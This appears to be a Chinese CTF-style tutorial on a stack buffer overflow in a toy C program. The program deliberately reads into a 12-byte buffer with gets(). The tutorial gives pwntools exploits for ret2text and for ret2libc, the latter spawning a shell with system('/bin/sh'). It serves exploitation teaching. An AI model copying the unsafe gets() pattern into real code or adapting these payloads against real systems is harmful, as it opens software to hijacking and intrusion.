程序源碼:
#include <stdio.h> #include <string.h> void success() { puts("You Hava already controlled it."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
使用gdb-peda獲取buf到ret的偏移爲:24(命令:pattern_create 200,pattern_offset)
獲取success函數的地址:
方法一:gdb查看方法信息
方法二:IDA PRO查看函數地址
方法三:用PWN的ELF.sym獲取success函數地址(推薦,當開啓PIE時前兩個辦法會失效)
EXP:
from pwn import * context(log_level='debug',arch='i386',os='linux') io=process('./stack_example') elf=ELF('./stack_example') success=elf.sym['success'] offset=24 libc_base=0xf7dc9000 print hex(success) payload='a'*offset+p32(success) #有的寫成'a'*20+p32(0)+p32(success),這裏都是一樣的,只是他是先填充到ebp的地址,然後再覆蓋esp,接着覆蓋ret io.sendline(payload) io.interactive()
附:使用ret2libc獲取shell
from pwn import * context(log_level='debug',arch='i386',os='linux') io=process('./stack_example') offset=24 libc_base=0xf7dc9000 shell=libc_base+0x00045830 bash=libc_base+0x00192352 payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash) #注意要在ebp後面傳入0xdeadbeef,給system函數充當返回地址
io.sendline(payload) io.interactive()